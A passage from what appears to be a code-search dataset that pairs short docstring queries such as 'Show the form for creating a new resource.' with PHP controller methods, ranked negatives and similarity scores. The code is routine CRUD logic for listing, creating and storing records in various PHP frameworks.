"public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }",
"public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }",
"public function executeList()\n {\n $this->setTemplate('list');\n }",
"public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }",
"function listing() {\r\n\r\n }",
"public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }",
"public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }",
"public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}",
"public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }",
"public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }",
"public function _index(){\n\t $this->_list();\n\t}",
"public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}",
"function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}",
"public function index()\n {\n $this->booklist();\n }",
"public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }",
"public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }",
"public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }",
"public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }",
"public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }",
"public function indexAction() {\n $this->_forward('list');\n }",
"public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }",
"public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }",
"public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}",
"public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }",
"public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }",
"public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }",
"public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }",
"public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }",
"public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}",
"public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }",
"public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }",
"public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }",
"public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}",
"public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }",
"public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }",
"public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }",
"public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }",
"public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }",
"public function index()\n {\n return view('admin.resources.index');\n }",
"public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}"
] | [
"0.7446777",
"0.736227",
"0.73005503",
"0.72478926",
"0.71631265",
"0.71489686",
"0.7131636",
"0.7105969",
"0.71029514",
"0.7101372",
"0.70508176",
"0.6995128",
"0.69890636",
"0.6934895",
"0.6900203",
"0.6899281",
"0.6891734",
"0.6887235",
"0.68670005",
"0.6849741",
"0.6830523",
"0.6802689",
"0.6797",
"0.67957735",
"0.67871135",
"0.6760129",
"0.67427456",
"0.6730486",
"0.67272323",
"0.67255723",
"0.67255723",
"0.67255723",
"0.67177945",
"0.6707866",
"0.6706713",
"0.6704375",
"0.6664782",
"0.6662871",
"0.6660302",
"0.6659404",
"0.6656656",
"0.6653517",
"0.6647965",
"0.6620322",
"0.66185474",
"0.6618499",
"0.6606105",
"0.6600617",
"0.65996987",
"0.6594775",
"0.6587389",
"0.6585109",
"0.6581641",
"0.6581017",
"0.6577157",
"0.65747666",
"0.6572513",
"0.65721947",
"0.6570553",
"0.65646994",
"0.6563556",
"0.6554194",
"0.65529937",
"0.65460825",
"0.65368485",
"0.653429",
"0.65328294",
"0.6526759",
"0.6526695",
"0.6526284",
"0.65191334",
"0.65183175",
"0.65174305",
"0.651703",
"0.65141153",
"0.6507088",
"0.65061647",
"0.6504046",
"0.64942145",
"0.6491893",
"0.64883405",
"0.6486392",
"0.6485077",
"0.64846045",
"0.6478858",
"0.64756656",
"0.64726377",
"0.6471126",
"0.64701074",
"0.6467418",
"0.6462195",
"0.64618355",
"0.6459199",
"0.6457831",
"0.6454631",
"0.64533997",
"0.6451915",
"0.6450861",
"0.6449301",
"0.64492667",
"0.64469045"
] | 0.0 | -1 |
Show the form for creating a new resource. | public function create()
{
if((auth()->user()->hasPermissionTo('blogger_add') != true))
return $this->permission_denied('blogger_dashboard');
return view('dashboard.users.blogger.form')
->with([
'page_title' => $this->page_title,
'entity' => $this->entity,
'entity_action' => $this->entity_action,
]);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return view('admin.resources.create');\n }",
"public function create(){\n\n return view('resource.create');\n }",
"public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}",
"public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }",
"public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }",
"public function create()\n {\n return view ('forms.create');\n }",
"public function create ()\n {\n return view('forms.create');\n }",
"public function create()\n\t{\n\t\treturn view('faith.form');\n\t}",
"public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }",
"public function create()\n {\n return view(\"request_form.form\");\n }",
"public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }",
"public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle école'\n\t\t) ) );\n\t}",
"public function create()\n {\n return view($this->forms . '.create');\n }",
"public function create()\n {\n return view('restful.add');\n }",
"public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }",
"public function create()\n {\n return view('admin.createform');\n }",
"public function create()\n {\n return view('admin.forms.create');\n }",
"public function create()\n {\n return view('backend.student.form');\n }",
"public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function create()\n {\n return view('client.form');\n }",
"public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }",
"public function create()\n {\n return view('Form');\n }",
"public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }",
"public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}",
"public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }",
"public function create()\n {\n return view('backend.schoolboard.addform');\n }",
"public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}",
"public function create()\n {\n //\n return view('form');\n }",
"public function create()\n {\n return view('rests.create');\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return view(\"Add\");\n }",
"public function create(){\n return view('form.create');\n }",
"public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }",
"public function create()\n {\n\n return view('control panel.student.add');\n\n }",
"public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}",
"public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }",
"public function create()\n {\n return $this->cView(\"form\");\n }",
"public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }",
"public function create()\n {\n return view(\"dresses.form\");\n }",
"public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}",
"public function createAction()\n {\n// $this->view->form = $form;\n }",
"public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }",
"public function create()\n {\n return view('fish.form');\n }",
"public function create()\n {\n return view('users.forms.create');\n }",
"public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }",
"public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}",
"public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }",
"public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }",
"public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }",
"public function create()\n {\n return view('essentials::create');\n }",
"public function create()\n {\n return view('student.add');\n }",
"public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}",
"public function create()\n {\n return view('url.form');\n }",
"public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }",
"public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}",
"public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view('crud/add'); }",
"public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}",
"public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view(\"List.form\");\n }",
"public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}",
"public function create()\n {\n //load create form\n return view('products.create');\n }",
"public function create()\n {\n return view('article.addform');\n }",
"public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }",
"public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}",
"public function create()\n {\n return view('saldo.form');\n }",
"public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}",
"public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }",
"public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }",
"public function create()\n {\n return view('admin.inverty.add');\n }",
"public function create()\n {\n return view('Libro.create');\n }",
"public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }",
"public function create()\n {\n return view(\"familiasPrograma.create\");\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}",
"public function create()\n {\n return view(\"create\");\n }",
"public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}",
"public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n return view('forming');\n }",
"public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }",
"public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }",
"public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }",
"public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }",
"public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }",
"public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}",
"public function create()\n {\n return view('student::students.student.create');\n }",
"public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}"
] | [
"0.75948673",
"0.75948673",
"0.75863165",
"0.7577412",
"0.75727344",
"0.7500887",
"0.7434847",
"0.7433956",
"0.73892003",
"0.73531085",
"0.73364776",
"0.73125",
"0.7296102",
"0.7281891",
"0.72741455",
"0.72424185",
"0.7229325",
"0.7226713",
"0.7187349",
"0.7179176",
"0.7174283",
"0.7150356",
"0.71444064",
"0.71442676",
"0.713498",
"0.71283126",
"0.7123691",
"0.71158516",
"0.71158516",
"0.71158516",
"0.7112176",
"0.7094388",
"0.7085711",
"0.708025",
"0.70800644",
"0.70571953",
"0.70571953",
"0.70556754",
"0.70396435",
"0.7039549",
"0.7036275",
"0.703468",
"0.70305896",
"0.7027638",
"0.70265305",
"0.70199823",
"0.7018007",
"0.7004984",
"0.7003889",
"0.7000935",
"0.69973785",
"0.6994679",
"0.6993764",
"0.6989918",
"0.6986989",
"0.6966502",
"0.69656384",
"0.69564354",
"0.69518244",
"0.6951109",
"0.6947306",
"0.69444615",
"0.69423944",
"0.6941156",
"0.6937871",
"0.6937871",
"0.6936686",
"0.69345254",
"0.69318026",
"0.692827",
"0.69263744",
"0.69242257",
"0.6918349",
"0.6915889",
"0.6912884",
"0.691146",
"0.69103104",
"0.69085974",
"0.69040126",
"0.69014287",
"0.69012105",
"0.6900397",
"0.68951064",
"0.6893521",
"0.68932164",
"0.6891899",
"0.6891616",
"0.6891616",
"0.6889246",
"0.68880934",
"0.6887128",
"0.6884732",
"0.68822503",
"0.68809193",
"0.6875949",
"0.68739206",
"0.68739134",
"0.6870358",
"0.6869779",
"0.68696856",
"0.686877"
] | 0.0 | -1 |
Store a newly created resource in storage. | public function store(BloggerRequest $request)
{
if((auth()->user()->hasPermissionTo('blogger_add') != true))
return $this->permission_denied('blogger_dashboard');
$blogger = new Blogger();
$blogger->fill($request->all())->save();
$status = $blogger->save() ? array(
'msg' => "Blogger has been registered successfully!",
'toastr' => "successToastr") : array(
'msg' => "Some Error occured. Try again.",
'toastr' => "errorToastr");
Session::flash($status['toastr'], $status['msg']);
return redirect()->route('bloggers');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function store($data, Resource $resource);",
"public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }",
"public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }",
"public function createStorage();",
"public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"function storeAndNew() {\n $this->store();\n }",
"public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }",
"public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }",
"public function store()\n\t{\n\t\t\n\t\t//\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
